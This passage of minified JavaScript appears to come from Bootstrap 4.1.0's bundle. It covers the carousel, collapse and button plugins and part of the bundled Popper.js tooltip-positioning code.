n(this),g(this).data(_,t)),"toggle"===e&&t[e]()})},s(n,null,[{key:"VERSION",get:function(){return"4.1.0"}}]),n}(),g(document).on(O.CLICK_DATA_API,w,function(t){t.preventDefault();var e=t.target;g(e).hasClass(T)||(e=g(e).closest(S)),N._jQueryInterface.call(g(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,w,function(t){var e=g(t.target).closest(S)[0];g(e).toggleClass(C,/^focus(in)?$/.test(t.type))}),g.fn[m]=N._jQueryInterface,g.fn[m].Constructor=N,g.fn[m].noConflict=function(){return g.fn[m]=y,N._jQueryInterface},N),vt=(L="carousel",x="."+(P="bs.carousel"),j=".data-api",R=(k=e).fn[L],M={interval:5e3,keyboard:!0,slide:!1,pause:"hover",wrap:!0},H={interval:"(number|boolean)",keyboard:"boolean",slide:"(boolean|string)",pause:"(string|boolean)",wrap:"boolean"},W="next",F="prev",U="left",B="right",K={SLIDE:"slide"+x,SLID:"slid"+x,KEYDOWN:"keydown"+x,MOUSEENTER:"mouseenter"+x,MOUSELEAVE:"mouseleave"+x,TOUCHEND:"touchend"+x,LOAD_DATA_API:"load"+x+j,CLICK_DATA_API:"click"+x+j},V="carousel",Q="active",Y="slide",G="carousel-item-right",q="carousel-item-left",z="carousel-item-next",X="carousel-item-prev",J={ACTIVE:".active",ACTIVE_ITEM:".active.carousel-item",ITEM:".carousel-item",NEXT_PREV:".carousel-item-next, .carousel-item-prev",INDICATORS:".carousel-indicators",DATA_SLIDE:"[data-slide], [data-slide-to]",DATA_RIDE:'[data-ride="carousel"]'},Z=function(){function o(t,e){this._items=null,this._interval=null,this._activeElement=null,this._isPaused=!1,this._isSliding=!1,this.touchTimeout=null,this._config=this._getConfig(e),this._element=k(t)[0],this._indicatorsElement=k(this._element).find(J.INDICATORS)[0],this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding||this._slide(W)},t.nextWhenVisible=function(){!document.hidden&&k(this._element).is(":visible")&&"hidden"!==k(this._element).css("visibility")&&this.next()},t.prev=function(){this._isSliding||this._slide(F)},t.pause=function(t){t||(this._isPaused=!0),k(this._element).find(J.NEXT_PREV)[0]&&(gt.triggerTransitionEnd(this._element),this.cycle(!0)),clearInterval(this._interval),this._interval=null},t.cycle=function(t){t||(this._isPaused=!1),this._interval&&(clearInterval(this._interval),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},t.to=function(t){var e=this;this._activeElement=k(this._element).find(J.ACTIVE_ITEM)[0];var n=this._getItemIndex(this._activeElement);if(!(t>this._items.length-1||t<0))if(this._isSliding)k(this._element).one(K.SLID,function(){return e.to(t)});else{if(n===t)return this.pause(),void this.cycle();var i=n<t?W:F;this._slide(i,this._items[t])}},t.dispose=function(){k(this._element).off(x),k.removeData(this._element,P),this._items=null,this._config=null,this._element=null,this._interval=null,this._isPaused=null,this._isSliding=null,this._activeElement=null,this._indicatorsElement=null},t._getConfig=function(t){return t=c({},M,t),gt.typeCheckConfig(L,t,H),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&k(this._element).on(K.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(k(this._element).on(K.MOUSEENTER,function(t){return e.pause(t)}).on(K.MOUSELEAVE,function(t){return e.cycle(t)}),"ontouchstart"in document.documentElement&&k(this._element).on(K.TOUCHEND,function(){e.pause(),e.touchTimeout&&clearTimeout(e.touchTimeout),e.touchTimeout=setTimeout(function(t){return e.cycle(t)},500+e._config.interval)}))},t._keydown=function(t){if(!/input|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},t._getItemIndex=function(t){return this._items=k.makeArray(k(t).parent().find(J.ITEM)),this._items.indexOf(t)},t._getItemByDirection=function(t,e){var n=t===W,i=t===F,r=this._getItemIndex(e),o=this._items.length-1;if((i&&0===r||n&&r===o)&&!this._config.wrap)return e;var s=(r+(t===F?-1:1))%this._items.length;return-1===s?this._items[this._items.length-1]:this._items[s]},t._triggerSlideEvent=function(t,e){var n=this._getItemIndex(t),i=this._getItemIndex(k(this._element).find(J.ACTIVE_ITEM)[0]),r=k.Event(K.SLIDE,{relatedTarget:t,direction:e,from:i,to:n});return k(this._element).trigger(r),r},t._setActiveIndicatorElement=function(t){if(this._indicatorsElement){k(this._indicatorsElement).find(J.ACTIVE).removeClass(Q);var e=this._indicatorsElement.children[this._getItemIndex(t)];e&&k(e).addClass(Q)}},t._slide=function(t,e){var n,i,r,o=this,s=k(this._element).find(J.ACTIVE_ITEM)[0],a=this._getItemIndex(s),l=e||s&&this._getItemByDirection(t,s),c=this._getItemIndex(l),f=Boolean(this._interval);if(t===W?(n=q,i=z,r=U):(n=G,i=X,r=B),l&&k(l).hasClass(Q))this._isSliding=!1;else if(!this._triggerSlideEvent(l,r).isDefaultPrevented()&&s&&l){this._isSliding=!0,f&&this.pause(),this._setActiveIndicatorElement(l);var h=k.Event(K.SLID,{relatedTarget:l,direction:r,from:a,to:c});if(k(this._element).hasClass(Y)){k(l).addClass(i),gt.reflow(l),k(s).addClass(n),k(l).addClass(n);var u=gt.getTransitionDurationFromElement(s);k(s).one(gt.TRANSITION_END,function(){k(l).removeClass(n+" "+i).addClass(Q),k(s).removeClass(Q+" "+i+" "+n),o._isSliding=!1,setTimeout(function(){return k(o._element).trigger(h)},0)}).emulateTransitionEnd(u)}else k(s).removeClass(Q),k(l).addClass(Q),this._isSliding=!1,k(this._element).trigger(h);f&&this.cycle()}},o._jQueryInterface=function(i){return this.each(function(){var t=k(this).data(P),e=c({},M,k(this).data());"object"==typeof i&&(e=c({},e,i));var n="string"==typeof i?i:e.slide;if(t||(t=new o(this,e),k(this).data(P,t)),"number"==typeof i)t.to(i);else if("string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=gt.getSelectorFromElement(this);if(e){var n=k(e)[0];if(n&&k(n).hasClass(V)){var i=c({},k(n).data(),k(this).data()),r=this.getAttribute("data-slide-to");r&&(i.interval=!1),o._jQueryInterface.call(k(n),i),r&&k(n).data(P).to(r),t.preventDefault()}}},s(o,null,[{key:"VERSION",get:function(){return"4.1.0"}},{key:"Default",get:function(){return M}}]),o}(),k(document).on(K.CLICK_DATA_API,J.DATA_SLIDE,Z._dataApiClickHandler),k(window).on(K.LOAD_DATA_API,function(){k(J.DATA_RIDE).each(function(){var t=k(this);Z._jQueryInterface.call(t,t.data())})}),k.fn[L]=Z._jQueryInterface,k.fn[L].Constructor=Z,k.fn[L].noConflict=function(){return k.fn[L]=R,Z._jQueryInterface},Z),Et=(tt="collapse",nt="."+(et="bs.collapse"),it=($=e).fn[tt],rt={toggle:!0,parent:""},ot={toggle:"boolean",parent:"(string|element)"},st={SHOW:"show"+nt,SHOWN:"shown"+nt,HIDE:"hide"+nt,HIDDEN:"hidden"+nt,CLICK_DATA_API:"click"+nt+".data-api"},at="show",lt="collapse",ct="collapsing",ft="collapsed",ht="width",ut="height",dt={ACTIVES:".show, .collapsing",DATA_TOGGLE:'[data-toggle="collapse"]'},pt=function(){function a(t,e){this._isTransitioning=!1,this._element=t,this._config=this._getConfig(e),this._triggerArray=$.makeArray($('[data-toggle="collapse"][href="#'+t.id+'"],[data-toggle="collapse"][data-target="#'+t.id+'"]'));for(var n=$(dt.DATA_TOGGLE),i=0;i<n.length;i++){var r=n[i],o=gt.getSelectorFromElement(r);null!==o&&0<$(o).filter(t).length&&(this._selector=o,this._triggerArray.push(r))}this._parent=this._config.parent?this._getParent():null,this._config.parent||this._addAriaAndCollapsedClass(this._element,this._triggerArray),this._config.toggle&&this.toggle()}var t=a.prototype;return t.toggle=function(){$(this._element).hasClass(at)?this.hide():this.show()},t.show=function(){var t,e,n=this;if(!this._isTransitioning&&!$(this._element).hasClass(at)&&(this._parent&&0===(t=$.makeArray($(this._parent).find(dt.ACTIVES).filter('[data-parent="'+this._config.parent+'"]'))).length&&(t=null),!(t&&(e=$(t).not(this._selector).data(et))&&e._isTransitioning))){var i=$.Event(st.SHOW);if($(this._element).trigger(i),!i.isDefaultPrevented()){t&&(a._jQueryInterface.call($(t).not(this._selector),"hide"),e||$(t).data(et,null));var r=this._getDimension();$(this._element).removeClass(lt).addClass(ct),(this._element.style[r]=0)<this._triggerArray.length&&$(this._triggerArray).removeClass(ft).attr("aria-expanded",!0),this.setTransitioning(!0);var o="scroll"+(r[0].toUpperCase()+r.slice(1)),s=gt.getTransitionDurationFromElement(this._element);$(this._element).one(gt.TRANSITION_END,function(){$(n._element).removeClass(ct).addClass(lt).addClass(at),n._element.style[r]="",n.setTransitioning(!1),$(n._element).trigger(st.SHOWN)}).emulateTransitionEnd(s),this._element.style[r]=this._element[o]+"px"}}},t.hide=function(){var t=this;if(!this._isTransitioning&&$(this._element).hasClass(at)){var e=$.Event(st.HIDE);if($(this._element).trigger(e),!e.isDefaultPrevented()){var n=this._getDimension();if(this._element.style[n]=this._element.getBoundingClientRect()[n]+"px",gt.reflow(this._element),$(this._element).addClass(ct).removeClass(lt).removeClass(at),0<this._triggerArray.length)for(var i=0;i<this._triggerArray.length;i++){var r=this._triggerArray[i],o=gt.getSelectorFromElement(r);if(null!==o)$(o).hasClass(at)||$(r).addClass(ft).attr("aria-expanded",!1)}this.setTransitioning(!0);this._element.style[n]="";var s=gt.getTransitionDurationFromElement(this._element);$(this._element).one(gt.TRANSITION_END,function(){t.setTransitioning(!1),$(t._element).removeClass(ct).addClass(lt).trigger(st.HIDDEN)}).emulateTransitionEnd(s)}}},t.setTransitioning=function(t){this._isTransitioning=t},t.dispose=function(){$.removeData(this._element,et),this._config=null,this._parent=null,this._element=null,this._triggerArray=null,this._isTransitioning=null},t._getConfig=function(t){return(t=c({},rt,t)).toggle=Boolean(t.toggle),gt.typeCheckConfig(tt,t,ot),t},t._getDimension=function(){return $(this._element).hasClass(ht)?ht:ut},t._getParent=function(){var n=this,t=null;gt.isElement(this._config.parent)?(t=this._config.parent,"undefined"!=typeof this._config.parent.jquery&&(t=this._config.parent[0])):t=$(this._config.parent)[0];var e='[data-toggle="collapse"][data-parent="'+this._config.parent+'"]';return $(t).find(e).each(function(t,e){n._addAriaAndCollapsedClass(a._getTargetFromElement(e),[e])}),t},t._addAriaAndCollapsedClass=function(t,e){if(t){var n=$(t).hasClass(at);0<e.length&&$(e).toggleClass(ft,!n).attr("aria-expanded",n)}},a._getTargetFromElement=function(t){var e=gt.getSelectorFromElement(t);return e?$(e)[0]:null},a._jQueryInterface=function(i){return this.each(function(){var t=$(this),e=t.data(et),n=c({},rt,t.data(),"object"==typeof i&&i);if(!e&&n.toggle&&/show|hide/.test(i)&&(n.toggle=!1),e||(e=new a(this,n),t.data(et,e)),"string"==typeof i){if("undefined"==typeof e[i])throw new TypeError('No method named "'+i+'"');e[i]()}})},s(a,null,[{key:"VERSION",get:function(){return"4.1.0"}},{key:"Default",get:function(){return rt}}]),a}(),$(document).on(st.CLICK_DATA_API,dt.DATA_TOGGLE,function(t){"A"===t.currentTarget.tagName&&t.preventDefault();var n=$(this),e=gt.getSelectorFromElement(this);$(e).each(function(){var t=$(this),e=t.data(et)?"toggle":n.data();pt._jQueryInterface.call(t,e)})}),$.fn[tt]=pt._jQueryInterface,$.fn[tt].Constructor=pt,$.fn[tt].noConflict=function(){return $.fn[tt]=it,pt._jQueryInterface},pt),yt="undefined"!=typeof window&&"undefined"!=typeof document,bt=["Edge","Trident","Firefox"],Tt=0,Ct=0;Ct<bt.length;Ct+=1)if(yt&&0<=navigator.userAgent.indexOf(bt[Ct])){Tt=1;break}var wt=yt&&window.Promise?function(t){var e=!1;return function(){e||(e=!0,window.Promise.resolve().then(function(){e=!1,t()}))}}:function(t){var e=!1;return function(){e||(e=!0,setTimeout(function(){e=!1,t()},Tt))}};function It(t){return t&&"[object Function]"==={}.toString.call(t)}function Dt(t,e){if(1!==t.nodeType)return[];var n=getComputedStyle(t,null);return e?n[e]:n}function At(t){return"HTML"===t.nodeName?t:t.parentNode||t.host}function St(t){if(!t)return document.body;switch(t.nodeName){case"HTML":case"BODY":return t.ownerDocument.body;case"#document":return t.body}var e=Dt(t),n=e.overflow,i=e.overflowX,r=e.overflowY;return/(auto|scroll|overlay)/.test(n+r+i)?t:St(At(t))}var Ot={},Nt=function(){var t=0<arguments.length&&void 0!==arguments[0]?arguments[0]:"all";if(t=t.toString(),Ot.hasOwnProperty(t))return Ot[t];switch(t){case"11":Ot[t]=-1!==navigator.userAgent.indexOf("Trident");break;case"10":Ot[t]=-1!==navigator.appVersion.indexOf("MSIE 10");break;case"all":Ot[t]=-1!==navigator.userAgent.indexOf("Trident")||-1!==navigator.userAgent.indexOf("MSIE")}return Ot.all=Ot.all||Object.keys(Ot).some(function(t){return Ot[t]}),Ot[t]};function kt(t){if(!t)return document.documentElement;for(var e=Nt(10)?document.body:null,n=t.offsetParent;n===e&&t.nextElementSibling;)n=(t=t.nextElementSibling).offsetParent;var i=n&&n.nodeName;return i&&"BODY"!==i&&"HTML"!==i?-1!==["TD","TABLE"].indexOf(n.nodeName)&&"static"===Dt(n,"position")?kt(n):n:t?t.ownerDocument.documentElement:document.documentElement}function Lt(t){return null!==t.parentNode?Lt(t.parentNode):t}function Pt(t,e){if(!(t&&t.nodeType&&e&&e.nodeType))return document.documentElement;var n=t.compareDocumentPosition(e)&Node.DOCUMENT_POSITION_FOLLOWING,i=n?t:e,r=n?e:t,o=document.createRange();o.setStart(i,0),o.setEnd(r,0);var s,a,l=o.commonAncestorContainer;if(t!==l&&e!==l||i.contains(r))return"BODY"===(a=(s=l).nodeName)||"HTML"!==a&&kt(s.firstElementChild)!==s?kt(l):l;var c=Lt(t);return c.host?Pt(c.host,e):Pt(t,Lt(e).host)}function xt(t){var e="top"===(1<arguments.length&&void 0!==arguments[1]?arguments[1]:"top")?"scrollTop":"scrollLeft",n=t.nodeName;if("BODY"===n||"HTML"===n){var i=t.ownerDocument.documentElement;return(t.ownerDocument.scrollingElement||i)[e]}return t[e]}function jt(t,e){var n="x"===e?"Left":"Top",i="Left"===n?"Right":"Bottom";return parseFloat(t["border"+n+"Width"],10)+parseFloat(t["border"+i+"Width"],10)}function Rt(t,e,n,i){return Math.max(e["offset"+t],e["scroll"+t],n["client"+t],n["offset"+t],n["scroll"+t],Nt(10)?n["offset"+t]+i["margin"+("Height"===t?"Top":"Left")]+i["margin"+("Height"===t?"Bottom":"Right")]:0)}function Mt(){var t=document.body,e=document.documentElement,n=Nt(10)&&getComputedStyle(e);return{height:Rt("Height",t,e,n),width:Rt("Width",t,e,n)}}var Ht=function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")},Wt=function(){function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}return function(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}}(),Ft=function(t,e,n){return e in t?Object.defineProperty(t,e,{value:n,enumerable:!0,configurable:!0,writable:!0}):t[e]=n,t},Ut=Object.assign||function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t};function Bt(t){return Ut({},t,{right:t.left+t.width,bottom:t.top+t.height})}function Kt(t){var e={};try{if(Nt(10)){e=t.getBoundingClientRect();var n=xt(t,"top"),i=xt(t,"left");e.top+=n,e.left+=i,e.bottom+=n,e.right+=i}else e=t.getBoundingClientRect()}catch(t){}var r={left:e.left,top:e.top,width:e.right-e.left,height:e.bottom-e.top},o="HTML"===t.nodeName?Mt():{},s=o.width||t.clientWidth||r.right-r.left,a=o.height||t.clientHeight||r.bottom-r.top,l=t.offsetWidth-s,c=t.offsetHeight-a;if(l||c){var f=Dt(t);l-=jt(f,"x"),c-=jt(f,"y"),r.width-=l,r.height-=c}return Bt(r)}function Vt(t,e){var n=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=Nt(10),r="HTML"===e.nodeName,o=Kt(t),s=Kt(e),a=St(t),l=Dt(e),c=parseFloat(l.borderTopWidth,10),f=parseFloat(l.borderLeftWidth,10);n&&"HTML"===e.nodeName&&(s.top=Math.max(s.top,0),s.left=Math.max(s.left,0));var h=Bt({top:o.top-s.top-c,left:o.left-s.left-f,width:o.width,height:o.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(l.marginTop,10),d=parseFloat(l.marginLeft,10);h.top-=c-u,h.bottom-=c-u,h.left-=f-d,h.right-=f-d,h.marginTop=u,h.marginLeft=d}return(i&&!n?e.contains(a):e===a&&"BODY"!==a.nodeName)&&(h=function(t,e){var n=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=xt(e,"top"),r=xt(e,"left"),o=n?-1:1;return t.top+=i*o,t.bottom+=i*o,t.left+=r*o,t.right+=r*o,t}(h,e)),h}function Qt(t){if(!t||!t.parentElement||Nt())return document.documentElement;for(var e=t.parentElement;e&&"none"===Dt(e,"transform");)e=e.parentElement;return e||document.documentElement}function Yt(t,e,n,i){var r=4<arguments.length&&void 0!==arguments[4]&&arguments[4],o={top:0,left:0},s=r?Qt(t):Pt(t,e);if("viewport"===i)o=function(t){var e=1<arguments.length&&void 0!==arguments[1]&&arguments[1],n=t.ownerDocument.documentElement,i=Vt(t,n),r=Math.max(n.clientWidth,window.innerWidth||0),o=Math.max(n.clientHeight,window.innerHeight||0),s=e?0:xt(n),a=e?0:xt(n,"left");return Bt({top:s-i.top+i.marginTop,left:a-i.left+i.marginLeft,width:r,height:o})}(s,r);else{var a=void 0;"scrollParent"===i?"BODY"===(a=St(At(e))).nodeName&&(a=t.ownerDocument.documentElement):a="window"===i?t.ownerDocument.documentElement:i;var l=Vt(a,s,r);if("HTML"!==a.nodeName||function t(e){var n=e.nodeName;return"BODY"!==n&&"HTML"!==n&&("fixed"===Dt(e,"position")||t(At(e)))}(s))o=l;else{var c=Mt(),f=c.height,h=c.width;o.top+=l.top-l.marginTop,o.bottom=f+l.top,o.left+=l.left-l.marginLeft,o.right=h+l.left}}return o.left+=n,o.top+=n,o.right-=n,o.bottom-=n,o}function Gt(t,e,i,n,r){var o=5<arguments.length&&void 0!==arguments[5]?arguments[5]:0;if(-1===t.indexOf("auto"))return t;var s=Yt(i,n,o,r),a={top:{width:s.width,height:e.top-s.top},right:{width:s.right-e.right,height:s.height},bottom:{width:s.width,height:s.bottom-e.bottom},left:{width:e.left-s.left,height:s.height}},l=Object.keys(a).map(function(t){return Ut({key:t},a[t],{area:(e=a[t],e.width*e.height)});var e}).sort(function(t,e){return e.area-t.area}),c=l.filter(function(t){var e=t.width,n=t.height;return e>=i.clientWidth&&n>=i.clientHeight}),f=0<c.length?c[0].key:l[0].key,h=t.split("-")[1];return f+(h?"-"+h:"")}function qt(t,e,n){var i=3<arguments.length&&void 0!==arguments[3]?arguments[3]:null;return Vt(n,i?Qt(e):Pt(e,n),i)}function zt(t){var e=getComputedStyle(t),n=parseFloat(e.marginTop)+parseFloat(e.marginBottom),i=parseFloat(e.marginLeft)+parseFloat(e.marginRight);return{width:t.offsetWidth+i,height:t.offsetHeight+n}}function Xt(t){var e={left:"right",right:"left",bottom:"top",top:"bottom"};return t.replace(/left|right|bottom|top/g,function(t){return e[t]})}function Jt(t,e,n){n=n.split("-")[0];var i=zt(t),r={width:i.width,height:i.height},o=-1!==["right","left"].indexOf(n),s=o?"top":"left",a=o?"left":"top",l=o?"height":"width",c=o?"width":"height";return r[s]=e[s]+e[l]/2-i[l]/2,r[a]=n===a?e[a]-i[c]:e[Xt(a)],r}function Zt(t,e){return Array.prototype.find?t.find(e):t.filter(e)[0]}function $t(t,n,e){return(void 0===e?t:t.slice(0,function(t,e,n){if(Array.prototype.findIndex)return t.findIndex(function(t){return t[e]===n});var i=Zt(t,function(t){return t[e]===n});return t.indexOf(i)}(t,"name",e))).forEach(function(t){t.function&&console.warn("`modifier.function` is deprecated, use `modifier.fn`!");var e=t.function||t.fn;t.enabled&&It(e)&&(n.offsets.popper=Bt(n.offsets.popper),n.offsets.reference=Bt(n.offsets.reference),n=e(n,t))}),n}function te(t,n){return t.some(function(t){var e=t.name;return t.enabled&&e===n})}function ee(t){for(var e=[!1,"ms","Webkit","Moz","O"],n=t.charAt(0).toUpperCase()+t.slice(1),i=0;i<e.length;i++){var r=e[i],o=r?""+r+n:t;if("undefined"!=typeof document.body.style[o])return o}return null}function ne(t){var e=t.ownerDocument;return e?e.defaultView:window}function ie(t,e,n,i){n.updateBound=i,ne(t).addEventListener("resize",n.updateBound,{passive:!0});var r=St(t);return function t(e,n,i,r){var o="BODY"===e.nodeName,s=o?e.ownerDocument.defaultView:e;s.addEventListener(n,i,{passive:!0}),o||t(St(s.parentNode),n,i,r),r.push(s)}(r,"scroll",n.updateBound,n.scrollParents),n.scrollElement=r,n.eventsEnabled=!0,n}function re(){var t,e;this.state.eventsEnabled&&(cancelAnimationFrame(this.scheduleUpdate),this.state=(t=this.reference,e=this.state,ne(t).removeEventListener("resize",e.updateBound),e.scrollParents.forEach(function(t){t.removeEventListener("scroll",e.updateBound)}),e.updateBound=null,e.scrollParents=[],e.scrollElement=null,e.eventsEnabled=!1,e))}function oe(t){return""!==t&&!isNaN(parseFloat(t))&&isFinite(t)}function se(n,i){Object.keys(i).forEach(function(t){var e="";-1!==["width","height","top","right","bottom","left"].indexOf(t)&&oe(i[t])&&(e="px"),n.style[t]=i[t]+e})}function ae(t,e,n){var i=Zt(t,function(t){return t.name===e}),r=!!i&&t.some(function(t){return t.name===n&&t.enabled&&t.order<i.order});if(!r){var o="`"+e+"`",s="`"+n+"`";console.warn(s+" modifier is required by "+o+" modifier in order to work, be sure to include it before "+o+"!")}return r}var le=["auto-start","auto","auto-end","top-start","top","top-end","right-start","right","right-end","bottom-end","bottom","bottom-start","left-end","left","left-start"],ce=le.slice(3);function fe(t){var e=1<arguments.length&&void 0!==arguments[1]&&arguments[1],n=ce.indexOf(t),i=ce.slice(n+1).concat(ce.slice(0,n));return e?i.reverse():i}var he={FLIP:"flip",CLOCKWISE:"clockwise",COUNTERCLOCKWISE:"counterclockwise"};function ue(t,r,o,e){var s=[0,0],a=-1!==["right","left"].indexOf(e),n=t.split(/(\+|\-)/).map(function(t){return t.trim()}),i=n.indexOf(Zt(n,function(t){return-1!==t.search(/,|\s/)}));n[i]&&-1===n[i].indexOf(",")&&console.warn("Offsets separated by white space(s) are deprecated, use a comma (,) instead.");var l=/\s*,\s*|\s+/,c=-1!==i?[n.slice(0,i).concat([n[i].split(l)[0]]),[n[i].split(l)[1]].concat(n.slice(i+1))]:[n];return(c=c.map(function(t,e){var n=(1===e?!a:a)?"height":"width",i=!1;return t.reduce(function(t,e){return""===t[t.length-1]&&-1!==["+","-"].indexOf(e)?(t[t.length-1]=e,i=!0,t):i?(t[t.length-1]+=e,i=!1,t):t.concat(e)},[]).map(function(t){return function(t,e,n,i){var r=t.match(/((?:\-|\+)?\d*\.?\d*)(.*)/),o=+r[1],s=r[2];if(!o)return t;if(0===s.indexOf("%")){var a=void 0;switch(s){case"%p":a=n;break;case"%":case"%r":default:a=i}return Bt(a)[e]/100*o}if("vh"===s||"vw"===s)return("vh"===s?Math.max(document.documentElement.clientHeight,window.innerHeight||0):Math.max(document.documentElement.clientWidth,window.innerWidth||0))/100*o;return o}(t,n,r,o)})})).forEach(function(n,i){n.forEach(function(t,e){oe(t)&&(s[i]+=t*("-"===n[e-1]?-1:1))})}),s}var de={placement:"bottom",positionFixed:!1,eventsEnabled:!0,removeOnDestroy:!1,onCreate:function(){},onUpdate:function(){},modifiers:{shift:{order:100,enabled:!0,fn:function(t){var e=t.placement,n=e.split("-")[0],i=e.split("-")[1];if(i){var r=t.offsets,o=r.reference,s=r.popper,a=-1!==["bottom","top"].indexOf(n),l=a?"left":"top",c=a?"width":"height",f={start:Ft({},l,o[l]),end:Ft({},l,o[l]+o[c]-s[c])};t.offsets.popper=Ut({},s,f[i])}return t}},offset:{order:200,enabled:!0,fn:function(t,e){var n=e.offset,i=t.placement,r=t.offsets,o=r.popper,s=r.reference,a=i.split("-")[0],l=void 0;return l=oe(+n)?[+n,0]:ue(n,o,s,a),"left"===a?(o.top+=l[0],o.left-=l[1]):"right"===a?(o.top+=l[0],o.left+=l[1]):"top"===a?(o.left+=l[0],o.top-=l[1]):"bottom"===a&&(o.left+=l[0],o.top+=l[1]),t.popper=o,t},offset:0},preventOverflow:{order:300,enabled:!0,fn:function(t,i){var e=i.boundariesElement||kt(t.instance.popper);t.instance.reference===e&&(e=kt(e));var r=Yt(t.instance.popper,t.instance.reference,i.padding,e,t.positionFixed);i.boundaries=r;var n=i.priority,o=t.offsets.popper,s={primary:function(t){var e=o[t];return o[t]<r[t]&&!i.escapeWithReference&&(e=Math.max(o[t],r[t])),Ft({},t,e)},secondary:function(t){var e="right"===t?"left":"top",n=o[e];return o[t]>r[t]&&!i.escapeWithReference&&(n=Math.min(o[e],r[t]-("right"===t?o.width:o.height))),Ft({},e,n)}};return n.forEach(function(t){var e=-1!==["left","top"].indexOf(t)?"primary":"secondary";o=Ut({},o,s[e](t))}),t.offsets.popper=o,t},priority:["left","right","top","bottom"],padding:5,boundariesElement:"scrollParent"},keepTogether:{order:400,enabled:!0,fn:function(t){var e=t.offsets,n=e.popper,i=e.reference,r=t.placement.split("-")[0],o=Math.floor,s=-1!==["top","bottom"].indexOf(r),a=s?"right":"bottom",l=s?"left":"top",c=s?"width":"height";return n[a]<o(i[l])&&(t.offsets.popper[l]=o(i[l])-n[c]),n[l]>o(i[a])&&(t.offsets.popper[l]=o(i[a])),t}},arrow:{order:500,enabled:!0,fn:function(t,e){var n;if(!ae(t.instance.modifiers,"arrow","keepTogether"))return t;var i=e.element;if("string"==typeof i){if(!(i=t.instance.popper.querySelector(i)))return t}else if(!t.instance.popper.contains(i))return console.warn("WARNING: `arrow.element` must be child of its popper element!"),t;var r=t.placement.split("-")[0],o=t.offsets,s=o.popper,a=o.reference,l=-1!==["left","right"].indexOf(r),c=l?"height":"width",f=l?"Top":"Left",h=f.toLowerCase(),u=l?"left":"top",d=l?"bottom":"right",p=zt(i)[c];a[d]-p<s[h]&&(t.offsets.popper[h]-=s[h]-(a[d]-p)),a[h]+p>s[d]&&(t.offsets.popper[h]+=a[h]+p-s[d]),t.offsets.popper=Bt(t.offsets.popper);var g=a[h]+a[c]/2-p/2,m=Dt(t.instance.popper),_=parseFloat(m["margin"+f],10),v=parseFloat(m["border"+f+"Width"],10),E=g-t.offsets.popper[h]-_-v;return E=Math.max(Math.min(s[c]-p,E),0),t.arrowElement=i,t.offsets.arrow=(Ft(n={},h,Math.round(E)),Ft(n,u,""),n),t},element:"[x-arrow]"},flip:{order:600,enabled:!0,fn:function(p,g){if(te(p.instance.modifiers,"inner"))return p;if(p.flipped&&p.placement===p.originalPlacement)return p;var m=Yt(p.instance.popper,p.instance.reference,g.padding,g.boundariesElement,p.positionFixed),_=p.placement.split("-")[0],v=Xt(_),E=p.placement.split("-")[1]||"",y=[];switch(g.behavior){case he.FLIP:y=[_,v];break;case he.CLOCKWISE:y=fe(_);break;case he.COUNTERCLOCKWISE:y=fe(_,!0);break;default:y=g.behavior}return y.forEach(function(t,e){if(_!==t||y.length===e+1)return p;_=p.placement.split("-")[0],v=Xt(_);var n,i=p.offsets.popper,r=p.offsets.reference,o=Math.floor,s="left"===_&&o(i.right)>o(r.left)||"right"===_&&o(i.left)<o(r.right)||"top"===_&&o(i.bottom)>o(r.top)||"bottom"===_&&o(i.top)<o(r.bottom),a=o(i.left)<o(m.left),l=o(i.right)>o(m.right),c=o(i.top)<o(m.top),f=o(i.bottom)>o(m.bottom),h="left"===_&&a||"right"===_&&l||"top"===_&&c||"bottom"===_&&f,u=-1!==["top","bottom"].indexOf(_),d=!!g.flipVariations&&(u&&"start"===E&&a||u&&"end"===E&&l||!u&&"start"===E&&c||!u&&"end"===E&&f);(s||h||d)&&(p.flipped=!0,(s||h)&&(_=y[e+1]),d&&(E="end"===(n=E)?"start":"start"===n?"end":n),p.placement=_+(E?"-"+E:""),p.offsets.popper=Ut({},p.offsets.popper,Jt(p.instance.popper,p.offsets.reference,p.placement)),p=$t(p.instance.modifiers,p,"flip"))}),p},behavior:"flip",padding:5,boundariesElement:"viewport"},inner:{order:700,enabled:!1,fn:function(t){var e=t.placement,n=e.split("-")[0],i=t.offsets,r=i.popper,o=i.reference,s=-1!==["left","right"].indexOf(n),a=-1===["top","left"].indexOf(n);return r[s?"left":"top"]=o[n]-(a?r[s?"width":"height"]:0),t.placement=Xt(e),t.offsets.popper=Bt(r),t}},hide:{order:800,enabled:!0,fn:function(t){if(!ae(t.instance.modifiers,"hide","preventOverflow"))return t;var e=t.offsets.reference,n=Zt(t.instance.modifiers,function(t){return"preventOverflow"===t.name}).boundaries;if(e.bottom<n.top||e.left>n.right||e.top>n.bottom||e.right<n.left){if(!0===t.hide)return t;t.hide=!0,t.attributes["x-out-of-boundaries"]=""}else{if(!1===t.hide)return t;t.hide=!1,t.attributes["x-out-of-boundaries"]=!1}return t}},computeStyle:{order:850,enabled:!0,fn:function(t,e){var n=e.x,i=e.y,r=t.offsets.popper,o=Zt(t.instance.modifiers,function(t){return"applyStyle"===t.name}).gpuAcceleration;void 0!==o&&console.warn("WARNING: `gpuAcceleration` option moved to `computeStyle` modifier and will not be supported in future versions of Popper.js!");var s=void 